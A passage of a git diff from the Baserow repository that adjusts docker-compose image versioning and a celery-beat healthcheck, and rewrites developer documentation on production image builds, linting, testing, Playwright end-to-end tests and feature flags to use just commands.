- # override it to the celery one here. - healthcheck: - test: - [ - "CMD-SHELL", - "/baserow/backend/docker/docker-entrypoint.sh celery-exportworker-healthcheck", - ] - depends_on: - - backend - volumes: - - media:/baserow/media - networks: - local: - - celery-beat-worker: - image: baserow_backend:latest - build: - dockerfile: ./backend/Dockerfile - context: . - restart: unless-stopped - command: celery-beat - environment: - <<: *backend-variables - # See https://github.com/sibson/redbeat/issues/129#issuecomment-1057478237 - stop_signal: SIGQUIT - depends_on: - - backend - volumes: - - media:/baserow/media - networks: - local: - - db: - image: pgvector/pgvector:pg15 - restart: unless-stopped - environment: - - POSTGRES_USER=${DATABASE_USER:-baserow} - - POSTGRES_PASSWORD=${DATABASE_PASSWORD:?} - - POSTGRES_DB=${DATABASE_NAME:-baserow} - healthcheck: - test: - [ - "CMD-SHELL", - 'su postgres -c "pg_isready -U ${DATABASE_USER:-baserow}"', - ] - interval: 10s - timeout: 5s - retries: 5 - networks: - local: - volumes: - - pgdata:/var/lib/postgresql/data - - redis: - image: redis:6 - restart: unless-stopped - command: redis-server --requirepass ${REDIS_PASSWORD:?} - healthcheck: - test: ["CMD", "redis-cli", "ping"] - networks: - local: - - # By default, the media volume will be owned by root on startup. Ensure it is owned by - # the same user that django is running as, so it can write user files. - volume-permissions-fixer: - image: bash:4.4 - command: chown 9999:9999 -R /baserow/media - volumes: - - media:/baserow/media - networks: - local: - -volumes: - pgdata: - media: - caddy_data: - caddy_config: - -networks: - local: - driver: bridge diff --git a/docker-compose.yml b/docker-compose.yml index c677c90d38..d4accdbb43 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -266,7 +266,7 @@ services: local: backend: - image: baserow/backend:2.0.6 + image: baserow/backend:${BASEROW_VERSION:-2.0.6} restart: unless-stopped environment: @@ -280,7 +280,7 @@ services: local: web-frontend: - image: baserow/web-frontend:2.0.6 + image: baserow/web-frontend:${BASEROW_VERSION:-2.0.6} restart: unless-stopped environment: BASEROW_PUBLIC_URL: ${BASEROW_PUBLIC_URL-http://localhost} @@ -326,7 +326,7 @@ services: local: celery: - image: baserow/backend:2.0.6 + image: baserow/backend:${BASEROW_VERSION:-2.0.6} restart: unless-stopped environment: <<: *backend-variables @@ -347,7 +347,7 @@ services: local: celery-export-worker: - image: baserow/backend:2.0.6 + image: baserow/backend:${BASEROW_VERSION:-2.0.6} restart: unless-stopped command: celery-exportworker environment: @@ -368,9 +368,18 @@ services: local: celery-beat-worker: - image: baserow/backend:2.0.6 + image: baserow/backend:${BASEROW_VERSION:-2.0.6} restart: unless-stopped command: celery-beat + healthcheck: + test: + [ + "CMD-SHELL", + "/baserow/backend/docker/docker-entrypoint.sh celery-beat-healthcheck" + ] + interval: 30s + timeout: 10s + retries: 3 environment: <<: *backend-variables # See https://github.com/sibson/redbeat/issues/129#issuecomment-1057478237 diff --git a/docs/development/building-and-running-production-images.md b/docs/development/building-and-running-production-images.md new file mode 100644 index 0000000000..3a999a96b8 --- /dev/null +++ b/docs/development/building-and-running-production-images.md @@ -0,0 +1,389 @@ +# Building and Running Production Images + +This guide covers building Baserow's production Docker images locally and running them for testing or deployment preparation. + +## Overview + +Baserow provides several image types for different deployment scenarios: + +| Image | Use Case | Command | +|-------|----------|---------| +| `backend` | Backend API server (separate deployment) | `just build backend` | +| `web-frontend` | Nuxt frontend (separate deployment) | `just build web-frontend` | +| `all-in-one` | Single container with embedded PostgreSQL/Redis | `just build all-in-one` | +| `all-in-one-lite` | Single container without PostgreSQL/Redis | `just build all-in-one-lite` | +| `heroku` | Heroku platform | `just build heroku` | +| `cloudron` | Cloudron marketplace | `just build cloudron` | +| `render` | Render.com platform | `just build render` | + +## Quick Start + +### Build and Run All-in-One + +The simplest way to test production images locally: + +```bash +# Build the all-in-one image +just build all-in-one + +# Run it +just dc-deploy all-in-one up -d + +# View logs +just dc-deploy all-in-one logs -f + +# Access at http://localhost +``` + +### Build and Run Separate Services + +For testing the production multi-container setup: + +```bash +# Build production images +just dc-prod build --parallel + +# Run production stack +just dc-prod up -d + +# View logs +just dc-prod logs -f + +# Access at http://localhost:3000 (frontend) and http://localhost:8000 (API) +``` + +## Building Images + +### The `just build` Command + +Build individual deployment images: + +```bash +# Build with default tag (:latest) +just build backend +just build web-frontend +just build all-in-one + +# Build with custom tag +just build backend 2.0.0 +just build all-in-one 2.0.0 + +# Build with additional Docker arguments +just build backend latest --no-cache +just build all-in-one 2.0.0 --progress=plain +``` + +### Available Build Targets + +```bash +just build +# Shows: +# backend - Backend API server +# web-frontend - Nuxt web frontend +# all-in-one - Single container (production) +# all-in-one-lite - Single container without postgres/redis +# all-in-one-dev - Single container (development) +# heroku - Heroku platform +# cloudron - Cloudron marketplace +# render - Render.com platform +# apache - Apache reverse proxy +# apache-no-caddy - Apache reverse proxy (no Caddy) +``` + +### Building with `dc-prod` + +The `just dc-prod build` command builds production images using Docker Compose: + +```bash +# Build all services +just dc-prod build --parallel + +# Build specific service +just dc-prod build backend + +# Build without cache +just dc-prod build --no-cache --parallel +``` + +This uses `docker-compose.yml` + `docker-compose.build.yml` to build the `prod` target from each Dockerfile. + +### Image Tagging + +| Command | Resulting Tag | +|---------|---------------| +| `just build backend` | `baserow/backend:latest` | +| `just build backend 2.0.0` | `baserow/backend:2.0.0` | +| `just build all-in-one` | `baserow/baserow:latest` | +| `just build all-in-one 2.0.0` | `baserow/baserow:2.0.0` | +| `just build all-in-one-lite` | `baserow/baserow:lite-latest` | + +## Running Production Images + +### Using `dc-prod` + +Run the full production stack (backend, frontend, celery workers, database, redis): + +```bash +# Start production stack (builds if needed) +just dc-prod up -d + +# View logs +just dc-prod logs -f + +# Stop +just dc-prod down +``` + +By default, `dc-prod` builds images locally. To use pre-built images from a registry: + +```bash +# Pull and run a specific version +BASEROW_VERSION=2.0.5 just dc-prod up -d + +# This pulls from the registry instead of building +``` + +### Using `dc-deploy` + +Run specific deployment configurations: + +```bash +just dc-deploy +# Shows available deployments: +# all-in-one - All-in-one container (production) +# all-in-one-dev - All-in-one container (development) +# cloudron - Cloudron deployment +# heroku - Heroku deployment +# traefik - Traefik reverse proxy +# nginx - Nginx reverse proxy +# apache - Apache reverse proxy +# local-testing - Local testing setup +``` + +#### All-in-One Container + +The all-in-one image includes everything: backend, frontend, celery, PostgreSQL, and Redis. + +```bash +# Build the all-in-one image +just build all-in-one + +# Run it +just dc-deploy all-in-one up -d + +# View logs +just dc-deploy all-in-one logs -f + +# Stop +just dc-deploy all-in-one down + +# Stop and remove data +just dc-deploy all-in-one down -v +``` + +Access at http://localhost (port 80). + +#### All-in-One Lite + +For when you have external PostgreSQL and Redis: + +```bash +# Build +just build all-in-one-lite + +# Run with external database +docker run -d \ + -e DATABASE_URL=postgres://user:pass@host:5432/baserow \ + -e REDIS_URL=redis://host:6379 \ + -e BASEROW_PUBLIC_URL=https://baserow.example.com \ + -p 80:80 \ + baserow/baserow:lite-latest +``` + +#### Platform-Specific Deployments + +```bash +# Heroku +just build heroku +just dc-deploy heroku up -d + +# Cloudron +just build cloudron +just dc-deploy cloudron up -d + +# With reverse proxies +just dc-deploy traefik up -d +just dc-deploy nginx up -d +just dc-deploy apache up -d +``` + +### Local Testing Setup + +For quick local testing of production images: + +```bash +just dc-deploy local-testing up -d +just dc-deploy local-testing logs -f +``` + +## Environment Configuration + +### Production Environment Variables + +Key variables for production: + +| Variable | Description | Example | +|----------|-------------|---------| +| `BASEROW_PUBLIC_URL` | Public URL for Baserow | `https://baserow.example.com` | +| `SECRET_KEY` | Django secret key | (generate a secure random string) | +| `DATABASE_URL` | PostgreSQL connection | `postgres://user:pass@host:5432/db` | +| `REDIS_URL` | Redis connection | `redis://host:6379` | +| `EMAIL_SMTP` | Enable SMTP | `yes` | +| `EMAIL_SMTP_HOST` | SMTP server | `smtp.example.com` | +| `FROM_EMAIL` | Sender email | `noreply@example.com` | + +### Using .env Files + +Create a `.env` file for production settings: + +```bash +# Copy example +cp .env.example .env + +# Edit with your settings +vim .env + +# Run with env file +docker compose --env-file .env -f docker-compose.yml up -d +``` + +## Multi-Architecture Builds + +Build images for multiple architectures (e.g., AMD64 and ARM64): + +```bash +# Create a builder for multi-arch +docker buildx create --name multiarch --use + +# Build and push multi-arch images +docker buildx build \ + --platform linux/amd64,linux/arm64 \ + -f backend/Dockerfile \ + --target prod \ + -t baserow/backend:latest \ + --push \ + . +``` + +## Image Sizes + +Typical production image sizes: + +| Image | Approximate Size | +|-------|------------------| +| `baserow/backend:latest` | ~500MB | +| `baserow/web-frontend:latest` | ~400MB | +| `baserow/baserow:latest` (all-in-one) | ~1.5GB | +| `baserow/baserow:lite-latest` | ~1GB | + +## Dockerfile Targets + +Each Dockerfile has multiple build targets: + +### Backend Dockerfile + +| Target | Purpose | +|--------|---------| +| `prod` | Production image (minimal, no dev deps) | +| `dev` | Development image (includes dev deps, tools) | +| `ci` | CI image (includes test deps) | + +### Web-Frontend Dockerfile + +| Target | Purpose | +|--------|---------| +| `prod` | Production image (built assets, production deps only) | +| `dev` | Development image (all deps, hot reload support) | +| `ci` | CI image (includes test deps) | + +### All-in-One Dockerfile + +| Target | Purpose | +|--------|---------| +| `prod` | Full all-in-one with PostgreSQL/Redis | +| `prod-lite` | All-in-one without PostgreSQL/Redis | +| `dev` | Development all-in-one | + +## Troubleshooting + +### Build Failures + +```bash +# Clear Docker builder cache +# WARNING: This clears ALL Docker builder cache, not just Baserow! +just prune + +# Build without cache +just build backend latest --no-cache + +# Build with verbose output +just build backend latest --progress=plain +``` + +### Container Won't Start + +```bash +# Check logs +just dc-prod logs backend +just dc-deploy all-in-one logs + +# Check container status +just dc-prod ps +docker ps -a + +# Run with interactive shell to debug +docker run -it --entrypoint bash baserow/backend:latest +``` + +### Database Connection Issues + +```bash +# For all-in-one, check internal PostgreSQL +just dc-deploy all-in-one exec baserow_all_in_one psql -U baserow + +# For separate deployment +just dc-prod exec db psql -U baserow +``` + +### Image Too Large + +If images are unexpectedly large: + +```bash +# Check image layers +docker history baserow/backend:latest + +# Inspect image +docker inspect baserow/backend:latest + +# Check what's inside +docker run --rm -it baserow/backend:latest du -sh /* +``` + +## Exporting Images + +To transfer images without a registry: + +```bash +# Save to tar.gz +docker save baserow/backend:latest | gzip > baserow-backend.tar.gz + +# Load on another machine +docker load < baserow-backend.tar.gz +``` + +## Further Reading + +- [install-with-docker.md](../installation/install-with-docker.md) - Production installation guide +- [running-the-dev-env-with-docker.md](running-the-dev-env-with-docker.md) - Development environment +- [justfile.md](justfile.md) - Complete command reference diff --git a/docs/development/code-quality.md b/docs/development/code-quality.md index b2666cc4ca..92382fb4d1 100644 --- a/docs/development/code-quality.md +++ b/docs/development/code-quality.md @@ -1,53 +1,65 @@ # Code quality The quality of the code is very important. That is why we have linters, unit tests, API -docs, in-code docs, developer docs, modular code, and have put a lot of thought into the +docs, in-code docs, developer docs, modular code, and have put a lot of thought into the underlying architecture of both the backend and the web-frontend. ## Running linters and tests -If you have the [development environment](./development-environment.md) up and running -you can easily run the linters. Both the backend and the web-frontend have `make` files -to help. +If you have the [development environment](./running-the-dev-env-locally.md) up and running +you can easily run the linters using [just](./justfile.md) commands. -* `make format` (backend): auto format all python code using black. -* `make lint` (backend): all the python code will be checked with flake8 and black. -* `make eslint` (web-frontend): all the javascript code will be checked with eslint. -* `make stylelint` (web-frontend): all the scss code will be checked with stylelint. +**Backend (from project root or `backend/` directory):** +* `just b format`: auto format all Python code using black. +* `just b sort`: sort imports using isort. +* `just b fix`: run both format and sort. +* `just b lint`: check Python code with flake8, black, isort, and bandit. + +**Frontend (from project root or `web-frontend/` directory):** +* `just f lint`: check JavaScript with eslint and SCSS with stylelint. +* `just f fix`: auto-fix code style issues. ## Running tests There are also commands to easily run the tests. -* `make test` (backend): all the backend python code will be tested with pytest. -* `make jest` (web-frontend): all the web frontend code will be tested with jest. +* `just b test` (backend): run all backend Python tests with pytest. +* `just b test -n=auto` (backend): run tests in parallel for faster execution. +* `just f test` (frontend): run all frontend tests with Jest. ## Continuous integration -To make sure nothing was missed during development we also have a continuous -integration pipeline that runs every time a branch is pushed. All the commands explained +To make sure nothing was missed during development we also have a continuous +integration pipeline that runs every time a branch is pushed. All the commands explained above will execute in an isolated environment. In order to improve speed -they are separated by lint and test stages. It is not allowed to merge a branch if +they are separated by lint and test stages. It is not allowed to merge a branch if one of these jobs fails. The pipeline also has a build job. During this job -[plugin boilerplate](../plugins/boilerplate.md) Baserow will be installed as a +[plugin boilerplate](../plugins/boilerplate.md) Baserow will be installed as a dependency to ensure that this still works. -### Run the GitLab runners locally +### Running CI locally + +You can run the same checks locally before pushing: + +```bash +# Run all linters +just lint + +# Run all tests +just test -If you want to check if your job would succeed before pushing your branch then you can -also run them locally. Make sure that you have installed the GitLab runner by following -the steps on https://docs.gitlab.com/runner/install/. After that you should be able to -run the `gitlab-runner --help` command in your terminal. The jobs can be executed by -running the commands below. +# Or run backend/frontend separately +just b lint && just b test +just f lint && just f test +``` -> Make sure that you are in the root of the Baserow repository and that all changes -> have been committed because the runner checks out the current branch. +For Docker-based CI testing (matches the CI environment more closely): -* `gitlab-runner exec docker web-frontend-eslint` -* `gitlab-runner exec docker web-frontend-stylelint` -* `gitlab-runner exec docker web-frontend-test` -* `gitlab-runner exec docker backend-flake8` -* `gitlab-runner exec docker backend-pytest` -* `gitlab-runner exec docker backend-setup` +```bash +just ci build # Build CI images +just ci lint # Run linters in containers +just ci test # Run tests in containers +just ci run # Full CI pipeline +``` diff --git a/docs/development/dev_sh.md b/docs/development/dev_sh.md index 7b569589fe..44af4f50ec 100644 --- a/docs/development/dev_sh.md +++ b/docs/development/dev_sh.md @@ -1,5 +1,10 @@ # ./dev.sh +> **Deprecated:** `dev.sh` is deprecated and will be removed in a future release. +> Please use `just` commands instead. See [justfile.md](justfile.md) and +> [development-environment.md](development-environment.md) for the new workflow +> + `dev.sh` is a helper bash script which makes working with baserow's development environment a breeze. diff --git a/docs/development/development-environment.md b/docs/development/development-environment.md index fa4a59bb33..0622578c20 100644 --- a/docs/development/development-environment.md +++ b/docs/development/development-environment.md @@ -1,24 +1,54 @@ -# Baserow's dev environment +# Baserow's Dev Environment The dev environment runs Baserow services with source code hot reloading enabled. It also runs the backend django server and web-frontend nuxt server in debug and -development modes. It is recommended that you use [dev.sh](../development/dev_sh.md) -found in the root of the Baserow repo. - -## Further reading - -- See [running the dev environment](running-the-dev-environment.md) for a - step-by-step guide on how to set-up the dev env. -- See [baserow docker api](../installation/install-with-docker.md) for more detail on how - Baserow's docker setup can be used and configured. -- See [dev.sh](dev_sh.md) for further detail on the CLI tool for managing - the dev environment. -- See [intellij setup](intellij-setup.md) for how to configure Intellij - to work well with Baserow for development purposes. -- See [feature flags](feature-flags.md) for how Baserow uses basic feature flags for - optionally enabling unfinished or unready features. -- See [vscode setup](vscode-setup.md) for how to configure Visual Studio Code -to work well with Baserow for development purposes. +development modes. + +## Getting Started + +Baserow offers two development approaches. Choose based on your priorities: + +| Approach | Guide | +|----------|-------| +| **Docker** | [Running with Docker](running-the-dev-env-with-docker.md) | +| **Local** | [Running Locally](running-the-dev-env-locally.md) | + +## Which Should I Use? + +### Use Docker if you want: + +- **Quick start** - Only requires Docker and `just`, no language runtimes to install +- **Consistency** - Identical environment across all machines and OSes +- **Isolation** - Dependencies contained in images, won't conflict with other projects +- **Security** - Code runs in sandboxed containers + +### Use Local development if you want: + +- **Speed** - Faster startup, instant hot reload, no container overhead +- **Lower resources** - No Docker daemon or container memory overhead +- **Better debugging** - Direct IDE integration, native breakpoints, no remote debugging setup +- **Simpler tooling** - Standard Python/Node workflows you already know + +Both approaches use the same `just` commands and can be switched between freely. + +## Quick Start + +- **Docker development**: `just dc-dev up -d` - runs all services in Docker containers +- **Local development**: `just dev` - runs services natively with Docker only for db/redis + +## Further Reading + +- [Running with Docker](running-the-dev-env-with-docker.md) - Complete Docker setup and commands +- [Running Locally](running-the-dev-env-locally.md) - Complete local development setup +- [justfile reference](justfile.md) - All available `just` commands +- [Running tests](running-tests.md) - Testing guide +- [IntelliJ setup](intellij-setup.md) - Configure IntelliJ for Baserow development +- [VS Code setup](vscode-setup.md) - Configure VS Code for Baserow development +- [Feature flags](feature-flags.md) - Optionally enabling unfinished features +- [Baserow Docker API](../installation/install-with-docker.md) - Docker setup configuration + +> **Note**: The older `dev.sh` script is deprecated. See [dev.sh](dev_sh.md) for +> documentation on the legacy script if needed. ## Fixing git blame diff --git a/docs/development/directory-structure.md b/docs/development/directory-structure.md index 8a37ab6a8e..9d02ec952a 100644 --- a/docs/development/directory-structure.md +++ b/docs/development/directory-structure.md @@ -1,11 +1,11 @@ # Directory structure -One of the things you will notice it that all the files and directories are in the +One of the things you will notice it that all the files and directories are in the same repository. This makes it easier to setup a demo and development environment and all the changes can be put in a single merge request. In the root you will find three folders `backend`, `docs` and `web-frontend`. You will -also notice some files that are related to the whole project like an editor config +also notice some files that are related to the whole project like an editor config file, continuous integration config, changelog, docker-compose yaml files and a readme. In the following topics we will zoom in on the directories. @@ -14,56 +14,53 @@ In the following topics we will zoom in on the directories. In the backend directory you will find some files that are related only to the backend. This whole directory is also added to the backend container. -* `requirements/base.txt`: file containing the Python packages that are needed to run - Baserow. -* `requirements/dev.txt`: file containing the Python packages that are needed for - Baserow development. +* `pyproject.toml`: Python project configuration including dependencies managed by uv. +* `uv.lock`: lockfile for reproducible dependency installation. * `.flake8`: contains the flake8 linter configuration. -* `baserow`: is actually a python file, that just calls the management.py file in the - source directory. This file is registered as a command via the `setup.py`. When +* `baserow`: is actually a python file, that just calls the management.py file in the + source directory. This file is registered as a command via the `pyproject.toml`. When someone adds Baserow as a dependency they can use the command `baserow migrate` which is the same as `python src/baserow/manage.py migrate`. -* `Dockerfile`: Builds an image containing just the backend service, build with +* `Dockerfile`: Builds an image containing just the backend service, build with `--target dev` to instead get a dev ready image. -* `Makefile`: contains a few commands to install the dependencies, run the linter and - run the tests. +* `justfile`: contains commands to install dependencies, run the linter, run tests, + and start development servers. * `pytest.ini`: pytest configuration when running the tests. -* `setup.py`: setuptools file to install Baserow as a dependency. ### src The src directory contains the full source code of the Baserow backend module. -* `api`: is a Django app that exposes Baserow via a REST API. Even though it is an +* `api`: is a Django app that exposes Baserow via a REST API. Even though it is an optional app it is installed by default. It's highly recommended to use this package. - It contains several directories each with their urls, views, serializers, and errors - related to a specific part. For example, the workspaces and application both have their - own directory. There are also several modules that contain some generic classes, + It contains several directories each with their urls, views, serializers, and errors + related to a specific part. For example, the workspaces and application both have their + own directory. There are also several modules that contain some generic classes, functions, and decorators that are reused throughout the code. The `urls.py` module is included by the root url config under the namespace `api`. * `config`: is a module that contains base settings and some settings that are for - specific environments. It also contains the root url config that includes the api + specific environments. It also contains the root url config that includes the api under the namespace `api`. There is also a wsgi.py file which can be used to expose the applications. * `contrib`: contains extra apps that can be installed. For now it only contains the backend part of the database plugin. This app is installed by default, but it is optional. * `core`: is a required app that is installed by default. It contains some abstract - concepts that are reused throughout the backend. It also contains the code for the + concepts that are reused throughout the backend. It also contains the code for the workspace and application concepts that are at the core of Baserow. Of course there are also helper classes, functions, and decorators that can be reused. * `manage.py`: the Django manage.py file to execute management commands. ### tests -The tests folder contains a baserow folder which matches the directory structure of -the `src/baserow` folder. Instead of it containing the source files it contains +The tests folder contains a baserow folder which matches the directory structure of +the `src/baserow` folder. Instead of it containing the source files it contains the tests. The files always start with `test_` to ensure they are picked up by pytest. They always end with the name of the related file in the source directory. There is also a fixtures directory which contains modules with classes that have small helpers to create data. For example if you quickly want to write a test related to a -database table text field you can quickly create one by doing something like in your +database table text field you can quickly create one by doing something like in your test. ```python @@ -75,7 +72,7 @@ def test_something_important(data_fixture): ## web-frontend -In the web-frontend directory you will find some files that are related only to the +In the web-frontend directory you will find some files that are related only to the web frontend. This whole directory is also added to the web-frontend container. * `.babelrc`: contains the configuration for the babel compiler. @@ -88,14 +85,14 @@ web frontend. This whole directory is also added to the web-frontend container. * `intellij-idea.webpack.config.js` a webpack config file that can be used by Intellij iDEA. It adds the correct aliases for the editor. * `jest.config.js`: config file for running the tests with JEST. -* `Makefile`: contains a few commands to install the dependencies, run the linter, and run +* `justfile`: contains commands to install dependencies, run the linter, and run the tests. * `nuxt.config.js`: base Nuxt config for the development environment. -* `package.json`: main package config including all the dependencies for the +* `package.json`: main package config including all the dependencies for the web-frontend. -* `yarn.lock`: auto generated file containing a list of the dependencies installed via +* `yarn.lock`: auto generated file containing a list of the dependencies installed via yarn. - + ### config The config directory contains some base Nuxt settings and some settings for specific @@ -104,20 +101,20 @@ webpack. ### modules -All the modules follow the common directory structure of Nuxt. More information can be -found in the +All the modules follow the common directory structure of Nuxt. More information can be +found in the [Nuxt documentation about the directory structure](https://nuxtjs.org/guide/directory-structure/). ### tests At the moment there are only a few tests related to the web-frontend. Because the tests -aren't maintained at this point, the directory structure is off. The specs should be in +aren't maintained at this point, the directory structure is off. The specs should be in the matching modules directory. ## docs -The docs folder contains markdown files with the full developer documentation of -Baserow. The contents of these files are automatically placed on +The docs folder contains markdown files with the full developer documentation of +Baserow. The contents of these files are automatically placed on https://baserow.io/docs. ## plugin-boilerplate diff --git a/docs/development/e2e-testing.md b/docs/development/e2e-testing.md index c21c9bb90c..f99d34d89f 100644 --- a/docs/development/e2e-testing.md +++ b/docs/development/e2e-testing.md @@ -1,52 +1,221 @@ -# End-to-end testing +# End-to-End Testing -Baserow comes with end-to-end test suite in the `e2e-tests` folder. The test suite -uses [Playwright](https://playwright.dev/) testing tool to run UI tests against a -running Baserow instance using one or multiple browsers. +Baserow includes an end-to-end test suite in the `e2e-tests` folder using [Playwright](https://playwright.dev/) to run UI tests against a running Baserow instance. -## When and what to e2e test +## Prerequisites -As of February 2023 the e2e test suite is brand new, we recommend you add any e2e -tests you think make sense. Some ideas on what to test: -1. Complicated multiservice UX flows like duplicating a database -2. Complicated frontend code that is hard to test with unit tests -3. The serialization boundary between the frontend client and backend api -4. Critical features that often accidentally break or features that often break in - other browsers, and we don't notice. +- **Docker** - For running the E2E environment +- **Node.js** - For running Playwright tests +- **Yarn** - Package manager +- **just** - Command runner -## Installation and running locally +See [supported.md](../installation/supported.md) for minimum version requirements. -You'll need Node.js to run the end-to-end test suite locally. Using [nvm](https://github.com/nvm-sh/nvm), -it can be installed with: ```bash -nvm install v +# Verify installation +docker --version +node -v +yarn -v +just --version ``` -Replace `` with a supported Node.js version listed in -`baserow/docs/installation/supported.md`. +## Quick Start -To run the end-to-end tests: ```bash -# Startup your local env which will be tested -$ ./dev.sh -$ cd e2e-tests -# The below script installs the e2e test package, waits for your dev env to be healthy -# and then runs the tests. -$ ./run-e2e-tests-locally.sh -# After which you can manually re-run the tests with various manual commands: -yarn test # headless -yarn test-headed -yarn test-ui # starts the UI mode. Best way to debug you tests. -yarn codegen # Helps to generate tests directly in a browsers. Use it as inspiration; - # the skeleton can be used, but some of its generated code is bad. - # Tweak it yourself after use. +# Full E2E cycle: build images, start environment, run tests, stop +just e2e run + +# Or step by step: +just e2e build # Build CI images +just e2e up # Start E2E environment +just e2e test # Run tests +just e2e down # Stop and cleanup +``` + +Access during testing: +- Frontend: http://localhost:3000 +- Backend API: http://localhost:8000 + +## Commands Reference + +| Command | Description | +|---------|-------------| +| `just e2e build` | Build backend and frontend CI images | +| `just e2e up` | Start E2E environment (db, redis, backend, frontend) | +| `just e2e down` | Stop and remove all E2E containers | +| `just e2e test` | Run all E2E tests | +| `just e2e test ` | Run tests with Playwright arguments | +| `just e2e run` | Full cycle: build, up, test, down | +| `just e2e logs` | View all container logs | +| `just e2e logs ` | View logs for specific service | +| `just e2e db-dump` | Generate fresh database dump | +| `just e2e db-restore ` | Restore dump to a container | + +## Examples + +### Running Specific Tests + +```bash +# Run a specific test file +just e2e test tests/auth/login.spec.ts +just e2e test tests/database/search.spec.ts + +# Run all tests in a directory +just e2e test tests/database/ +just e2e test tests/builder/ + +# Run tests matching a pattern +just e2e test --grep "login" + +# Run in headed mode (see the browser) +just e2e test --headed + +# Run in UI mode (interactive debugging) +just e2e test --ui + +# Run only in Chrome +just e2e test --project=chromium +``` + +### Viewing Logs + +```bash +# All logs +just e2e logs + +# Specific service +just e2e logs backend +just e2e logs frontend +just e2e logs db +just e2e logs celery +``` + +### Debugging Failed Tests + +```bash +# Start environment without running tests +just e2e up + +# Run tests in UI mode for debugging +just e2e test --ui + +# Or run specific failing test with trace +just e2e test tests/mytest.spec.ts --trace on + +# Keep environment running for manual inspection +# Access http://localhost:3000 in your browser +``` + +### Regenerating Database Dump + +When migrations change, regenerate the E2E database dump: + +```bash +# Generate new dump with latest migrations +just e2e db-dump + +# Commit the updated dump +git add e2e-tests/fixtures/e2e-db.dump +git commit -m "Update E2E database dump" ``` -`yarn test` and `yarn test-*` will run all tests in Chrome. +## How It Works + +The E2E environment uses: + +1. **Pre-built CI images** - Backend and frontend built with test dependencies +2. **Database dump** - Pre-migrated database restored on startup (fast) +3. **tmpfs storage** - PostgreSQL and Redis run in-memory for speed +4. **Isolated network** - All containers on `baserow-e2e` network + +### Container Architecture + +``` +┌─────────────────────────────────────────────────────────┐ +│ baserow-e2e network │ +│ │ +│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌─────────┐ │ +│ │ e2e-db │ │e2e-redis │ │e2e-backend│ │e2e-celery│ │ +│ │ (tmpfs) │ │ (tmpfs) │ │ :8000 │ │ │ │ +│ └──────────┘ └──────────┘ └──────────┘ └─────────┘ │ +│ │ │ +│ ┌──────────────┐ │ +│ │ e2e-frontend │ │ +│ │ :3000 │ │ +│ └──────────────┘ │ +└─────────────────────────────────────────────────────────┘ + │ + Playwright tests +``` + +## When to Write E2E Tests + +Consider adding E2E tests for: + +1. **Multi-service UX flows** - Like duplicating a database +2. **Complex frontend interactions** - Hard to test with unit tests +3. **API serialization boundaries** - Frontend-backend integration +4. **Critical features** - Features that often break across browsers +5. **Cross-browser issues** - Browser-specific bugs ## Configuration -Besides Playwright configuration defined in `e2e-tests/playwright.config.ts` you can set -environment variables to target a Baserow instance on any URL -with `PUBLIC_WEB_FRONTEND_URL` and `PUBLIC_BACKEND_URL`. You can also -use `e2e-tests/.env` file to do so, see `e2e-tests/.env-example`. +### Environment Variables + +| Variable | Description | Default | +|----------|-------------|---------| +| `PUBLIC_WEB_FRONTEND_URL` | Frontend URL for tests | `http://localhost:3000` | +| `PUBLIC_BACKEND_URL` | Backend API URL for tests | `http://localhost:8000` | + +You can set these in `e2e-tests/.env` (see `.env-example`). + +### Playwright Configuration + +See `e2e-tests/playwright.config.ts` for: +- Browser configuration +- Test timeouts +- Retry settings +- Reporter configuration + +## Writing Tests + +### Test Generation + +Playwright can help generate test skeletons: + +```bash +cd e2e-tests +yarn codegen +``` + +This opens a browser where your actions are recorded as test code. Use it as a starting point, but clean up the generated code. + +### Best Practices + +1. Use page object patterns for reusable components +2. Wait for elements explicitly rather than using timeouts +3. Use data-testid attributes for reliable selectors +4. Clean up test data after tests when possible + +--- + +## Deprecated: Old Workflow + +> **Note:** The commands below are deprecated. Use `just e2e` commands instead. + +### Old Installation + +```bash +# Using dev.sh (deprecated) +./dev.sh +cd e2e-tests +./run-e2e-tests-locally.sh + +# Manual yarn commands still work if environment is running: +yarn test # headless +yarn test-headed # see browser +yarn test-ui # interactive debugging +yarn codegen # generate test code +``` + +These still work but require manually managing the dev environment. The new `just e2e` commands handle everything automatically. diff --git a/docs/development/feature-flags.md b/docs/development/feature-flags.md index 779a7a2b9a..1f2bdad33e 100644 --- a/docs/development/feature-flags.md +++ b/docs/development/feature-flags.md @@ -10,14 +10,14 @@ Add/remove features flags to the list below: ## Enabling feature flags To enable specific feature flags set the environment variable -`FEATURE_FLAGS=feature1,feature2,feature3`. Using `dev.sh` this would look like: +`FEATURE_FLAGS=feature1,feature2,feature3`. Using `just` this would look like: ```bash -FEATURE_FLAGS=feature1,feature2,feature3 ./dev.sh xyz +FEATURE_FLAGS=feature1,feature2,feature3 just dc-dev up -d ``` -You could also use a docker-compose `.env` file and set the FEATURE_FLAGS variable in -there. +You could also add the variable to your `.env.docker-dev` file (for Docker development) +or `.env.local` file (for local development). ## Enabling all feature flags @@ -25,7 +25,7 @@ Use the `*` feature flag to enable every single feature flag without having to s each one. ```bash -FEATURE_FLAGS=* ./dev.sh xyz +FEATURE_FLAGS=* just dc-dev up -d ``` ## Naming convention diff --git a/docs/development/intellij-setup.md b/docs/development/intellij-setup.md index 500c2f96de..8e6692eb29 100644 --- a/docs/development/intellij-setup.md +++ b/docs/development/intellij-setup.md @@ -7,6 +7,14 @@ automatic style fixers to make your life as easy as possible. > This guide assumes you have a basic understanding of git, python, virtualenvs, > postgres and command line tools. +## Prerequisites + +Install the following tools: +- [just](https://github.com/casey/just) - command runner +- [uv](https://github.com/astral-sh/uv) - Python package manager + +## Setup Steps + 1. First checkout a fresh copy of Baserow: `git clone git@github.com:baserow/baserow.git` 1. `cd baserow` 1. `./config/intellij/apply_standard_baserow_intellij_config.sh` @@ -15,56 +23,45 @@ automatic style fixers to make your life as easy as possible. and open the baserow folder you cloned above. 1. Make sure you have installed / enabled the [Python IntelliJ plugin](https://plugins.jetbrains.com/plugin/631-python). -1. Now we will create python virtualenv and configure IntelliJ to use it to run tests +1. Now we will create a Python virtual environment and configure IntelliJ to use it to run tests and linters: - 1. Choose a location for your virtualenv, it is recommended to store it separately - from the baserow source-code folder so IntelliJ does not search nor index it. - 2. Create the virtualenv: `python3 -m venv venv` or `virtualenv -p python venv` - 3. Activate the virtualenv: `source venv/bin/activate` (will differ depending on - your shell) - 4. Run `which pip` and ensure the output of this command is now pointing into the - bin in your new virtualenv - 5. Change to the Baserow source directory: `cd path/to/your/baserow` - 6. Install all the Baserow python requirements into your virtualenv: + 1. 